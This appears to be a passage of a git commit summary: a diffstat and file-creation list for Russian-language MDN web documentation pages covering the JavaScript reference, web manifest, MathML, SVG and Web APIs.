.../reference/global_objects/json/parse/index.html | 150 + .../global_objects/json/stringify/index.html | 189 + .../global_objects/map/@@species/index.html | 111 + .../reference/global_objects/map/clear/index.html | 119 + .../reference/global_objects/map/delete/index.html | 79 + .../global_objects/map/entries/index.html | 127 + .../global_objects/map/foreach/index.html | 94 + .../reference/global_objects/map/get/index.html | 68 + .../reference/global_objects/map/has/index.html | 119 + .../reference/global_objects/map/index.html | 288 ++ .../reference/global_objects/map/keys/index.html | 117 + .../global_objects/map/prototype/index.html | 125 + .../reference/global_objects/map/set/index.html | 140 + .../reference/global_objects/map/size/index.html | 112 + .../reference/global_objects/map/values/index.html | 116 + .../reference/global_objects/math/abs/index.html | 100 + .../reference/global_objects/math/acos/index.html | 125 + .../reference/global_objects/math/acosh/index.html | 136 + .../reference/global_objects/math/asin/index.html | 125 + .../reference/global_objects/math/asinh/index.html | 135 + .../reference/global_objects/math/atan/index.html | 120 + .../reference/global_objects/math/atan2/index.html | 134 + .../reference/global_objects/math/atanh/index.html | 137 + .../reference/global_objects/math/cbrt/index.html | 134 + .../reference/global_objects/math/ceil/index.html | 207 ++ .../reference/global_objects/math/clz32/index.html | 140 + .../reference/global_objects/math/cos/index.html | 122 + .../reference/global_objects/math/cosh/index.html | 140 + .../reference/global_objects/math/e/index.html | 113 + .../reference/global_objects/math/exp/index.html | 120 + .../reference/global_objects/math/expm1/index.html | 132 + .../reference/global_objects/math/floor/index.html | 200 ++ .../global_objects/math/fround/index.html | 128 + .../reference/global_objects/math/hypot/index.html | 149 + .../reference/global_objects/math/imul/index.html | 130 + .../reference/global_objects/math/index.html | 198 ++ .../reference/global_objects/math/ln10/index.html | 113 + .../reference/global_objects/math/ln2/index.html | 113 + .../reference/global_objects/math/log/index.html | 129 + .../reference/global_objects/math/log10/index.html | 137 + .../global_objects/math/log10e/index.html | 113 + .../reference/global_objects/math/log1p/index.html | 136 + .../reference/global_objects/math/log2/index.html | 93 + .../reference/global_objects/math/log2e/index.html | 113 + .../reference/global_objects/math/max/index.html | 137 + .../reference/global_objects/math/min/index.html | 147 + .../reference/global_objects/math/pi/index.html | 111 + .../reference/global_objects/math/pow/index.html | 126 + .../global_objects/math/random/index.html | 110 + .../reference/global_objects/math/round/index.html | 214 ++ .../reference/global_objects/math/sign/index.html | 141 + .../reference/global_objects/math/sin/index.html | 121 + .../reference/global_objects/math/sinh/index.html | 140 + .../reference/global_objects/math/sqrt/index.html | 143 + .../global_objects/math/sqrt1_2/index.html | 112 + .../reference/global_objects/math/sqrt2/index.html | 112 + .../reference/global_objects/math/tan/index.html | 124 + .../reference/global_objects/math/tanh/index.html | 153 + .../reference/global_objects/math/trunc/index.html | 137 + .../index.html" | 136 + .../reference/global_objects/nan/index.html | 103 + .../reference/global_objects/null/index.html | 106 + .../global_objects/number/epsilon/index.html | 122 + .../reference/global_objects/number/index.html | 181 + .../global_objects/number/isfinite/index.html | 130 + .../global_objects/number/isinteger/index.html | 95 + .../global_objects/number/isnan/index.html | 96 + .../global_objects/number/issafeinteger/index.html | 95 + .../number/max_safe_integer/index.html | 65 + .../global_objects/number/max_value/index.html | 110 + .../number/min_safe_integer/index.html | 105 + .../global_objects/number/min_value/index.html | 122 + .../reference/global_objects/number/nan/index.html | 97 + .../number/negative_infinity/index.html | 125 + .../global_objects/number/parsefloat/index.html | 108 + .../global_objects/number/parseint/index.html | 82 + .../number/positive_infinity/index.html | 125 + .../global_objects/number/prototype/index.html | 123 + .../global_objects/number/toexponential/index.html | 131 + .../global_objects/number/tofixed/index.html | 143 + .../global_objects/number/tointeger/index.html | 94 + .../number/tolocalestring/index.html | 164 + .../global_objects/number/toprecision/index.html | 150 + .../global_objects/number/tosource/index.html | 104 + .../global_objects/number/tostring/index.html | 148 + .../global_objects/number/valueof/index.html | 115 + .../object/__definegetter__/index.html | 119 + .../object/__definesetter__/index.html | 132 + .../object/__lookupgetter__/index.html | 110 + .../object/__lookupsetter__/index.html | 110 + .../global_objects/object/assign/index.html | 216 ++ .../global_objects/object/constructor/index.html | 173 + .../global_objects/object/count/index.html | 83 + .../global_objects/object/create/index.html | 240 ++ .../object/defineproperties/index.html | 236 ++ .../object/defineproperty/index.html | 399 +++ .../global_objects/object/entries/index.html | 121 + .../global_objects/object/eval/index.html | 81 + .../global_objects/object/freeze/index.html | 165 + .../global_objects/object/fromentries/index.html | 108 + .../global_objects/object/getnotifier/index.html | 47 + .../object/getownpropertydescriptor/index.html | 148 + .../object/getownpropertydescriptors/index.html | 115 + .../object/getownpropertynames/index.html | 161 + .../object/getownpropertysymbols/index.html | 94 + .../object/getprototypeof/index.html | 139 + .../object/hasownproperty/index.html | 145 + .../reference/global_objects/object/index.html | 216 ++ .../reference/global_objects/object/is/index.html | 122 + .../global_objects/object/isextensible/index.html | 134 + .../global_objects/object/isfrozen/index.html | 142 + .../global_objects/object/isprototypeof/index.html | 159 + .../global_objects/object/issealed/index.html | 147 + .../global_objects/object/keys/index.html | 153 + .../global_objects/object/nosuchmethod/index.html | 195 ++ .../global_objects/object/observe/index.html | 142 + .../global_objects/object/parent/index.html | 75 + .../object/preventextensions/index.html | 120 + .../object/propertyisenumerable/index.html | 173 + .../global_objects/object/proto/index.html | 151 + .../global_objects/object/prototype/index.html | 204 ++ .../global_objects/object/seal/index.html | 119 + .../object/setprototypeof/index.html | 256 ++ .../object/tolocalestring/index.html | 103 + .../global_objects/object/tosource/index.html | 138 + .../global_objects/object/tostring/index.html | 139 + .../global_objects/object/unobserve/index.html | 97 + .../global_objects/object/unwatch/index.html | 93 + .../global_objects/object/valueof/index.html | 141 + .../global_objects/object/values/index.html | 98 + .../global_objects/object/watch/index.html | 168 + .../global_objects/parallelarray/index.html | 52 + .../reference/global_objects/parsefloat/index.html | 136 + .../reference/global_objects/parseint/index.html | 202 ++ .../global_objects/promise/all/index.html | 122 + .../global_objects/promise/allsettled/index.html | 60 + .../global_objects/promise/any/index.html | 81 + .../global_objects/promise/catch/index.html | 157 + .../global_objects/promise/finally/index.html | 98 + .../reference/global_objects/promise/index.html | 267 ++ .../global_objects/promise/prototype/index.html | 66 + .../global_objects/promise/race/index.html | 115 + .../global_objects/promise/reject/index.html | 76 + .../global_objects/promise/resolve/index.html | 138 + .../global_objects/promise/then/index.html | 158 + .../proxy/handler/deleteproperty/index.html | 131 + .../global_objects/proxy/handler/index.html | 134 + .../global_objects/proxy/handler/set/index.html | 179 + .../reference/global_objects/proxy/index.html | 482 +++ .../global_objects/proxy/proxy/apply/index.html | 111 + .../global_objects/proxy/proxy/get/index.html | 127 + .../global_objects/proxy/proxy/index.html | 125 + .../global_objects/proxy/revocable/index.html | 91 + .../reference/global_objects/rangeerror/index.html | 151 + .../global_objects/rangeerror/prototype/index.html | 122 + .../global_objects/referenceerror/index.html | 131 + .../referenceerror/prototype/index.html | 122 + .../global_objects/reflect/apply/index.html | 101 + .../global_objects/reflect/construct/index.html | 151 + .../reflect/defineproperty/index.html | 98 + .../reflect/deleteproperty/index.html | 92 + .../global_objects/reflect/get/index.html | 99 + .../reference/global_objects/reflect/index.html | 153 + .../global_objects/reflect/ownkeys/index.html | 89 + .../global_objects/regexp/@@search/index.html | 116 + .../global_objects/regexp/@@split/index.html | 113 + .../global_objects/regexp/exec/index.html | 228 ++ .../global_objects/regexp/flags/index.html | 120 + .../global_objects/regexp/global/index.html | 115 + .../global_objects/regexp/ignorecase/index.html | 115 + .../reference/global_objects/regexp/index.html | 665 ++++ .../global_objects/regexp/input/index.html | 55 + .../global_objects/regexp/lastindex/index.html | 130 + .../global_objects/regexp/lastmatch/index.html | 54 + .../global_objects/regexp/multiline/index.html | 115 + .../reference/global_objects/regexp/n/index.html | 64 + .../global_objects/regexp/prototype/index.html | 140 + .../global_objects/regexp/source/index.html | 121 + .../global_objects/regexp/sticky/index.html | 139 + .../global_objects/regexp/test/index.html | 143 + .../global_objects/regexp/tosource/index.html | 106 + .../global_objects/regexp/tostring/index.html | 116 + .../global_objects/regexp/unicode/index.html | 70 + .../reference/global_objects/set/add/index.html | 76 + .../reference/global_objects/set/clear/index.html | 74 + .../reference/global_objects/set/delete/index.html | 93 + .../global_objects/set/entries/index.html | 71 + .../global_objects/set/foreach/index.html | 110 + .../reference/global_objects/set/has/index.html | 91 + .../reference/global_objects/set/index.html | 242 ++ .../global_objects/set/prototype/index.html | 80 + .../reference/global_objects/set/set/index.html | 72 + .../reference/global_objects/set/size/index.html | 68 + .../reference/global_objects/set/values/index.html | 72 + .../global_objects/sharedarraybuffer/index.html | 209 ++ .../global_objects/string/@@iterator/index.html | 131 + .../global_objects/string/anchor/index.html | 131 + .../reference/global_objects/string/big/index.html | 112 + .../global_objects/string/blink/index.html | 117 + .../global_objects/string/bold/index.html | 114 + .../global_objects/string/charat/index.html | 270 ++ .../global_objects/string/charcodeat/index.html | 205 ++ .../global_objects/string/codepointat/index.html | 174 + .../global_objects/string/concat/index.html | 121 + .../global_objects/string/endswith/index.html | 145 + .../global_objects/string/fixed/index.html | 108 + .../global_objects/string/fontcolor/index.html | 119 + .../global_objects/string/fontsize/index.html | 118 + .../global_objects/string/fromcharcode/index.html | 138 + .../global_objects/string/fromcodepoint/index.html | 213 ++ .../global_objects/string/includes/index.html | 127 + .../reference/global_objects/string/index.html | 301 ++ .../global_objects/string/indexof/index.html | 194 ++ .../global_objects/string/italics/index.html | 114 + .../global_objects/string/lastindexof/index.html | 155 + .../global_objects/string/length/index.html | 116 + .../global_objects/string/link/index.html | 131 + .../global_objects/string/localecompare/index.html | 196 ++ .../global_objects/string/match/index.html | 177 + .../global_objects/string/matchall/index.html | 120 + .../global_objects/string/normalize/index.html | 174 + .../global_objects/string/padend/index.html | 94 + .../global_objects/string/padstart/index.html | 92 + .../global_objects/string/prototype/index.html | 229 ++ .../global_objects/string/quote/index.html | 124 + .../reference/global_objects/string/raw/index.html | 153 + .../global_objects/string/repeat/index.html | 124 + .../global_objects/string/replace/index.html | 289 ++ .../global_objects/string/replaceall/index.html | 167 + .../global_objects/string/search/index.html | 149 + .../global_objects/string/slice/index.html | 173 + .../global_objects/string/small/index.html | 109 + .../global_objects/string/split/index.html | 229 ++ .../global_objects/string/startswith/index.html | 81 + .../global_objects/string/strike/index.html | 114 + .../reference/global_objects/string/sub/index.html | 109 + .../global_objects/string/substr/index.html | 116 + .../global_objects/string/substring/index.html | 194 ++ .../reference/global_objects/string/sup/index.html | 109 + .../string/tolocalelowercase/index.html | 110 + .../string/tolocaleuppercase/index.html | 110 + .../global_objects/string/tolowercase/index.html | 109 + .../global_objects/string/tosource/index.html | 91 + .../global_objects/string/tostring/index.html | 111 + .../global_objects/string/touppercase/index.html | 109 + .../global_objects/string/trim/index.html | 135 + .../global_objects/string/trimleft/index.html | 93 + .../global_objects/string/trimright/index.html | 93 + .../global_objects/string/valueof/index.html | 120 + .../global_objects/symbol/@@toprimitive/index.html | 66 + .../reference/global_objects/symbol/for/index.html | 140 + .../global_objects/symbol/hasinstance/index.html | 71 + .../reference/global_objects/symbol/index.html | 227 ++ .../symbol/isconcatspreadable/index.html | 148 + .../global_objects/symbol/iterator/index.html | 135 + .../global_objects/symbol/keyfor/index.html | 87 + .../global_objects/symbol/match/index.html | 113 + .../global_objects/symbol/prototype/index.html | 106 + .../global_objects/symbol/replace/index.html | 99 + .../global_objects/symbol/search/index.html | 54 + .../global_objects/symbol/species/index.html | 116 + .../global_objects/symbol/split/index.html | 53 + .../global_objects/symbol/toprimitive/index.html | 92 + .../global_objects/symbol/tostringtag/index.html | 89 + .../global_objects/symbol/unscopables/index.html | 89 + .../global_objects/symbol/valueof/index.html | 94 + .../global_objects/syntaxerror/index.html | 174 + .../syntaxerror/prototype/index.html | 122 + .../global_objects/typedarray/@@species/index.html | 130 + .../typedarray/bytes_per_element/index.html | 119 + .../reference/global_objects/typedarray/index.html | 258 ++ .../global_objects/typedarray/join/index.html | 133 + .../global_objects/typedarray/prototype/index.html | 128 + .../global_objects/typedarray/set/index.html | 140 + .../reference/global_objects/typeerror/index.html | 131 + .../global_objects/typeerror/prototype/index.html | 122 + .../global_objects/uint16array/index.html | 199 ++ .../global_objects/uint32array/index.html | 199 ++ .../reference/global_objects/uint8array/index.html | 199 ++ .../global_objects/uint8clampedarray/index.html | 256 ++ .../reference/global_objects/undefined/index.html | 143 + .../reference/global_objects/unescape/index.html | 126 + .../reference/global_objects/uneval/index.html | 73 + .../reference/global_objects/urierror/index.html | 163 + .../global_objects/urierror/prototype/index.html | 122 + .../global_objects/weakmap/clear/index.html | 91 + .../global_objects/weakmap/delete/index.html | 114 + .../global_objects/weakmap/get/index.html | 115 + .../global_objects/weakmap/has/index.html | 118 + .../reference/global_objects/weakmap/index.html | 158 + .../global_objects/weakmap/prototype/index.html | 74 + .../global_objects/weakmap/set/index.html | 120 + .../global_objects/weakset/add/index.html | 77 + .../global_objects/weakset/delete/index.html | 123 + .../global_objects/weakset/has/index.html | 124 + .../reference/global_objects/weakset/index.html | 109 + .../global_objects/weakset/prototype/index.html | 141 + .../global_objects/webassembly/compile/index.html | 83 + .../webassembly/compilestreaming/index.html | 79 + .../global_objects/webassembly/index.html | 161 + .../global_objects/webassembly/table/index.html | 104 + files/ru/web/javascript/reference/index.html | 48 + .../reference/iteration_protocols/index.html | 316 ++ .../reference/lexical_grammar/index.html | 693 ++++ .../reference/operators/addition/index.html | 80 + .../operators/addition_assignment/index.html | 75 + .../operators/arithmetic_operators/index.html | 290 ++ .../operators/array_comprehensions/index.html | 241 ++ .../operators/assignment_operators/index.html | 430 +++ .../reference/operators/async_function/index.html | 147 + .../reference/operators/await/index.html | 157 + .../reference/operators/bitwise_and/index.html | 111 + .../operators/bitwise_operators/index.html | 625 ++++ .../reference/operators/class/index.html | 152 + .../reference/operators/decrement/index.html | 80 + .../reference/operators/delete/index.html | 127 + .../operators/destructuring_assignment/index.html | 339 ++ .../operators/expression_closures/index.html | 118 + .../reference/operators/function/index.html | 143 + .../reference/operators/function_star_/index.html | 149 + .../operators/generator_comprehensions/index.html | 229 ++ .../javascript/reference/operators/in/index.html | 136 + .../web/javascript/reference/operators/index.html | 291 ++ .../reference/operators/instanceof/index.html | 165 + .../reference/operators/new.target/index.html | 137 + .../javascript/reference/operators/new/index.html | 217 ++ .../nullish_coalescing_operator/index.html | 144 + .../operators/object_initializer/index.html | 431 +++ .../operators/operator_precedence/index.html | 322 ++ .../operators/optional_chaining/index.html | 176 + .../operators/property_accessors/index.html | 203 ++ .../reference/operators/spread_syntax/index.html | 249 ++ .../reference/operators/super/index.html | 186 + .../javascript/reference/operators/this/index.html | 412 +++ .../reference/operators/typeof/index.html | 242 ++ .../javascript/reference/operators/void/index.html | 150 + .../reference/operators/yield/index.html | 94 + .../reference/operators/yield_star_/index.html | 227 ++ .../index.html" | 91 + .../index.html" | 77 + .../index.html" | 299 ++ .../index.html" | 103 + .../index.html" | 285 ++ .../index.html" | 66 + .../index.html" | 169 + .../reference/statements/async_function/index.html | 179 + .../reference/statements/break/index.html | 140 + .../reference/statements/class/index.html | 183 + .../reference/statements/const/index.html | 135 + .../reference/statements/continue/index.html | 200 ++ .../reference/statements/debugger/index.html | 124 + .../reference/statements/default/index.html | 116 + .../reference/statements/do...while/index.html | 94 + .../reference/statements/empty/index.html | 148 + .../reference/statements/export/index.html | 131 + .../reference/statements/for-await...of/index.html | 139 + .../reference/statements/for...in/index.html | 197 ++ .../reference/statements/for...of/index.html | 302 ++ .../javascript/reference/statements/for/index.html | 194 ++ .../reference/statements/for_each...in/index.html | 126 + .../reference/statements/function/index.html | 125 + .../reference/statements/function_star_/index.html | 202 ++ .../reference/statements/if...else/index.html | 213 ++ .../reference/statements/import.meta/index.html | 68 + .../reference/statements/import/index.html | 271 ++ .../web/javascript/reference/statements/index.html | 162 + .../reference/statements/label/index.html | 179 + .../javascript/reference/statements/let/index.html | 414 +++ .../reference/statements/return/index.html | 156 + .../reference/statements/switch/index.html | 184 + .../reference/statements/throw/index.html | 240 ++ .../reference/statements/try...catch/index.html | 422 +++ .../javascript/reference/statements/var/index.html | 221 ++ .../reference/statements/while/index.html | 143 + .../reference/statements/with/index.html | 177 + .../\320\261\320\273\320\276\320\272/index.html" | 177 + .../javascript/reference/strict_mode/index.html | 367 ++ .../transitioning_to_strict_mode/index.html | 139 + .../reference/template_strings/index.html | 243 ++ .../reference/trailing_commas/index.html | 183 + .../reference/\320\276\320\261/index.html" | 50 + files/ru/web/javascript/typed_arrays/index.html | 219 ++ .../web/javascript/\320\276_javascript/index.html" | 60 + files/ru/web/manifest/background_color/index.html | 77 + files/ru/web/manifest/categories/index.html | 82 + files/ru/web/manifest/description/index.html | 81 + files/ru/web/manifest/dir/index.html | 95 + files/ru/web/manifest/display/index.html | 122 + files/ru/web/manifest/iarc_rating_id/index.html | 85 + files/ru/web/manifest/icons/index.html | 140 + files/ru/web/manifest/index.html | 111 + files/ru/web/manifest/lang/index.html | 73 + files/ru/web/manifest/name/index.html | 81 + files/ru/web/manifest/orientation/index.html | 99 + .../prefer_related_applications/index.html | 76 + .../web/manifest/related_applications/index.html | 113 + files/ru/web/manifest/scope/index.html | 88 + files/ru/web/manifest/screenshots/index.html | 90 + files/ru/web/manifest/serviceworker/index.html | 91 + files/ru/web/manifest/short_name/index.html | 80 + files/ru/web/manifest/start_url/index.html | 87 + files/ru/web/manifest/theme_color/index.html | 74 + files/ru/web/mathml/authoring/index.html | 349 ++ files/ru/web/mathml/element/index.html | 144 + files/ru/web/mathml/element/maction/index.html | 124 + files/ru/web/mathml/element/math/index.html | 325 ++ files/ru/web/mathml/element/menclose/index.html | 200 ++ files/ru/web/mathml/element/merror/index.html | 77 + files/ru/web/mathml/element/mfenced/index.html | 97 + files/ru/web/mathml/element/mglyph/index.html | 71 + files/ru/web/mathml/element/mn/index.html | 136 + files/ru/web/mathml/element/mstyle/index.html | 141 + files/ru/web/mathml/index.html | 124 + .../deriving_the_quadratic_formula/index.html" | 18 + .../index.html" | 26 + .../mathml_pythagorean_theorem/index.html" | 26 + .../web/media/formats/codecs_parameter/index.html | 973 ++++++ files/ru/web/media/formats/index.html | 88 + .../index.html" | 483 +++ files/ru/web/media/index.html | 89 + .../performance/critical_rendering_path/index.html | 66 + .../index.html | 80 + files/ru/web/performance/dns-prefetch/index.html | 70 + .../web/performance/how_browsers_work/index.html | 218 ++ .../performance/how_long_is_too_long/index.html | 34 + files/ru/web/performance/index.html | 291 ++ files/ru/web/performance/lazy_loading/index.html | 94 + .../navigation_and_resource_timings/index.html | 321 ++ .../optimizing_startup_performance/index.html | 85 + .../web/performance/performance_budgets/index.html | 74 + .../ru/web/performance/rum-vs-synthetic/index.html | 39 + .../performance/understanding_latency/index.html | 122 + .../index.html" | 224 ++ .../index.html" | 174 + files/ru/web/progressive_web_apps/index.html | 78 + .../installable_pwas/index.html | 117 + .../index.html" | 63 + files/ru/web/reference/api/index.html | 65 + files/ru/web/reference/index.html | 40 + files/ru/web/security/csp/index.html | 42 + files/ru/web/security/index.html | 13 + .../information_security_basics/index.html | 30 + .../ru/web/security/same-origin_policy/index.html | 264 ++ .../ru/web/security/securing_your_site/index.html | 55 + .../turning_off_form_autocompletion/index.html | 70 + .../index.html | 234 ++ files/ru/web/svg/attribute/additive/index.html | 56 + .../ru/web/svg/attribute/attributename/index.html | 85 + .../ru/web/svg/attribute/attributetype/index.html | 59 + files/ru/web/svg/attribute/class/index.html | 190 + files/ru/web/svg/attribute/core/index.html | 85 + files/ru/web/svg/attribute/cx/index.html | 70 + files/ru/web/svg/attribute/cy/index.html | 69 + files/ru/web/svg/attribute/d/index.html | 566 +++ files/ru/web/svg/attribute/dur/index.html | 95 + files/ru/web/svg/attribute/end/index.html | 45 + files/ru/web/svg/attribute/fill-opacity/index.html | 69 + files/ru/web/svg/attribute/fill-rule/index.html | 162 + files/ru/web/svg/attribute/fill/index.html | 99 + files/ru/web/svg/attribute/font-weight/index.html | 86 + files/ru/web/svg/attribute/id/index.html | 113 + files/ru/web/svg/attribute/index.html | 461 +++ files/ru/web/svg/attribute/keytimes/index.html | 87 + files/ru/web/svg/attribute/lang/index.html | 86 + files/ru/web/svg/attribute/lengthadjust/index.html | 33 + .../ru/web/svg/attribute/letter-spacing/index.html | 60 + .../ru/web/svg/attribute/lighting-color/index.html | 50 + files/ru/web/svg/attribute/onload/index.html | 5 + files/ru/web/svg/attribute/overflow/index.html | 67 + .../svg/attribute/patterncontentunits/index.html | 52 + files/ru/web/svg/attribute/r/index.html | 129 + files/ru/web/svg/attribute/repeatcount/index.html | 47 + files/ru/web/svg/attribute/rx/index.html | 115 + files/ru/web/svg/attribute/ry/index.html | 113 + .../web/svg/attribute/shape-rendering/index.html | 79 + files/ru/web/svg/attribute/stop-color/index.html | 51 + .../web/svg/attribute/stroke-dashoffset/index.html | 162 + .../ru/web/svg/attribute/stroke-linecap/index.html | 194 ++ files/ru/web/svg/attribute/stroke-width/index.html | 57 + files/ru/web/svg/attribute/stroke/index.html | 69 + files/ru/web/svg/attribute/text-anchor/index.html | 107 + .../ru/web/svg/attribute/text-rendering/index.html | 87 + files/ru/web/svg/attribute/transform/index.html | 121 + files/ru/web/svg/attribute/values/index.html | 86 + files/ru/web/svg/attribute/viewbox/index.html | 191 + files/ru/web/svg/attribute/width/index.html | 648 ++++ files/ru/web/svg/attribute/x/index.html | 86 + .../web/svg/attribute/xml_colon_space/index.html | 50 + files/ru/web/svg/attribute/y/index.html | 86 + files/ru/web/svg/index.html | 103 + .../web/svg/svg_1.1_support_in_firefox/index.html | 774 +++++ files/ru/web/svg/svg_as_an_image/index.html | 66 + .../svg/tutorial/clipping_and_masking/index.html | 87 + .../web/svg/tutorial/fills_and_strokes/index.html | 145 + .../ru/web/svg/tutorial/filter_effects/index.html | 14 + .../ru/web/svg/tutorial/getting_started/index.html | 93 + files/ru/web/svg/tutorial/gradients/index.html | 181 + files/ru/web/svg/tutorial/index.html | 56 + .../svg/tutorial/other_content_in_svg/index.html | 39 + files/ru/web/svg/tutorial/paths/index.html | 234 ++ files/ru/web/svg/tutorial/patterns/index.html | 76 + files/ru/web/svg/tutorial/svg_fonts/index.html | 98 + files/ru/web/svg/tutorial/svg_image_tag/index.html | 34 + .../tutorial/svg_in_html_introduction/index.html | 115 + files/ru/web/svg/tutorial/texts/index.html | 74 + files/ru/web/svg/tutorial/tools_for_svg/index.html | 72 + .../index.html" | 98 + .../index.html" | 44 + .../index.html" | 144 + .../index.html" | 48 + .../a/index.html" | 151 + .../animate/index.html" | 81 + .../animatemotion/index.html" | 112 + .../circle/index.html" | 109 + .../defs/index.html" | 101 + .../ellipse/index.html" | 129 + .../feblend/index.html" | 115 + .../foreignobject/index.html" | 119 + .../g/index.html" | 98 + .../image/index.html" | 94 + .../index.html" | 253 ++ .../line/index.html" | 104 + .../lineargradient/index.html" | 105 + .../path/index.html" | 98 + .../pattern/index.html" | 125 + .../polygon/index.html" | 95 + .../radialgradient/index.html" | 108 + .../rect/index.html" | 115 + .../svg/index.html" | 119 + .../text/index.html" | 211 ++ .../use/index.html" | 126 + files/ru/web/tutorials/index.html | 173 + .../ru/web/web_components/html_imports/index.html | 37 + files/ru/web/web_components/index.html | 205 ++ .../index.html" | 243 ++ files/ru/web/webapi/index.html | 130 + files/ru/web/xml/index.html | 17 + files/ru/web/xml/xml_introduction/index.html | 139 + files/ru/web/xpath/funkcje/floor/index.html | 21 + files/ru/web/xpath/funkcje/index.html | 6 + files/ru/web/xpath/index.html | 6 + files/ru/web/xslt/index.html | 17 + 2480 files changed, 369025 insertions(+) create mode 100644 files/ru/web/accessibility/aria/aria_live_regions/index.html create mode 100644 files/ru/web/accessibility/aria/aria_techniques/index.html create mode 100644 files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html create mode 100644 files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html create mode 100644 files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html create mode 100644 files/ru/web/accessibility/aria/index.html create mode 100644 files/ru/web/accessibility/aria/roles/checkbox_role/index.html create mode 100644 files/ru/web/accessibility/aria/roles/index.html create mode 100644 files/ru/web/accessibility/at-apis/gecko/index.html create mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/index.html create mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html create mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html create mode 100644 files/ru/web/accessibility/at-apis/index.html create mode 100644 files/ru/web/accessibility/index.html create mode 100644 files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html create mode 100644 files/ru/web/accessibility/mobile_accessibility_checklist/index.html create mode 100644 files/ru/web/accessibility/understanding_wcag/index.html create mode 100644 files/ru/web/accessibility/understanding_wcag/keyboard/index.html create mode 100644 files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html create mode 100644 files/ru/web/accessibility/understanding_wcag/perceivable/index.html create mode 100644 "files/ru/web/accessibility/\320\262\320\265\320\261-\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\260/index.html" create mode 100644 files/ru/web/api/abortcontroller/abort/index.html create mode 100644 files/ru/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/ru/web/api/abortcontroller/index.html create mode 100644 files/ru/web/api/abortcontroller/signal/index.html create mode 100644 files/ru/web/api/abortsignal/abort_event/index.html create mode 100644 files/ru/web/api/abortsignal/aborted/index.html create mode 100644 files/ru/web/api/abortsignal/index.html create mode 100644 files/ru/web/api/abortsignal/onabort/index.html create mode 100644 files/ru/web/api/abstractworker/index.html create mode 100644 files/ru/web/api/ambient_light_events/index.html create mode 100644 files/ru/web/api/analysernode/index.html create mode 100644 files/ru/web/api/angle_instanced_arrays/index.html create mode 100644 files/ru/web/api/animation/cancel/index.html create mode 100644 files/ru/web/api/animation/index.html create mode 100644 files/ru/web/api/animationevent/animationevent/index.html create mode 100644 files/ru/web/api/animationevent/index.html create mode 100644 files/ru/web/api/attr/index.html create mode 100644 files/ru/web/api/audiobuffer/index.html create mode 100644 files/ru/web/api/audiocontext/createmediaelementsource/index.html create mode 100644 files/ru/web/api/audiocontext/createpanner/index.html create mode 100644 files/ru/web/api/audiocontext/currenttime/index.html create mode 100644 files/ru/web/api/audiocontext/decodeaudiodata/index.html create mode 100644 files/ru/web/api/audiocontext/index.html create mode 100644 files/ru/web/api/audionode/channelcount/index.html create mode 100644 files/ru/web/api/audionode/context/index.html create mode 100644 files/ru/web/api/audionode/index.html create mode 100644 files/ru/web/api/audioparam/index.html create mode 100644 files/ru/web/api/audioparam/setvalueattime/index.html create mode 100644 files/ru/web/api/batterymanager/index.html create mode 100644 files/ru/web/api/beacon_api/index.html create mode 100644 files/ru/web/api/beforeinstallpromptevent/index.html create mode 100644 files/ru/web/api/beforeinstallpromptevent/prompt/index.html create mode 100644 files/ru/web/api/beforeunloadevent/index.html create mode 100644 files/ru/web/api/blob/blob/index.html create mode 100644 files/ru/web/api/blob/index.html create mode 100644 files/ru/web/api/blob/slice/index.html create mode 100644 files/ru/web/api/bluetooth/index.html create mode 100644 files/ru/web/api/bluetoothremotegattserver/index.html create mode 100644 files/ru/web/api/body/arraybuffer/index.html create mode 100644 files/ru/web/api/body/formdata/index.html create mode 100644 files/ru/web/api/body/index.html create mode 100644 files/ru/web/api/body/json/index.html create mode 100644 files/ru/web/api/broadcastchannel/index.html create mode 100644 files/ru/web/api/broadcastchannel/postmessage/index.html create mode 100644 files/ru/web/api/bytestring/index.html create mode 100644 files/ru/web/api/cache/add/index.html create mode 100644 files/ru/web/api/cache/addall/index.html create mode 100644 files/ru/web/api/cache/delete/index.html create mode 100644 files/ru/web/api/cache/index.html create mode 100644 files/ru/web/api/cache/keys/index.html create mode 100644 files/ru/web/api/cache/match/index.html create mode 100644 files/ru/web/api/cache/matchall/index.html create mode 100644 files/ru/web/api/cache/put/index.html create mode 100644 files/ru/web/api/cachestorage/index.html create mode 100644 files/ru/web/api/cachestorage/match/index.html create mode 100644 files/ru/web/api/cachestorage/open/index.html create mode 100644 files/ru/web/api/canvas_api/a_basic_ray-caster/index.html create mode 100644 files/ru/web/api/canvas_api/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/basic_usage/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/finale/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html create mode 100644 files/ru/web/api/canvas_api/tutorial/transformations/index.html create mode 100644 "files/ru/web/api/canvas_api/tutorial/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\270\320\267\320\276\320\261\321\200\320\260\320\266\320\265\320\275\320\270\320\271/index.html" create mode 100644 "files/ru/web/api/canvas_api/tutorial/\320\272\320\276\320\274\320\277\320\276\320\267\320\270\321\206\320\270\320\270/index.html" create mode 100644 "files/ru/web/api/canvas_api/tutorial/\320\276\321\201\320\275\320\276\320\262\321\213_\320\260\320\275\320\270\320\274\320\260\321\206\320\270\320\270/index.html" create mode 100644 "files/ru/web/api/canvas_api/tutorial/\320\277\321\200\320\270\320\274\320\265\320\275\320\265\320\275\320\270\320\265_\321\201\321\202\320\270\320\273\320\265\320\271_\320\270_\321\206\320\262\320\265\321\202\320\276\320\262/index.html" create mode 100644 "files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\202\320\265\320\272\321\201\321\202\320\260/index.html" create mode 100644 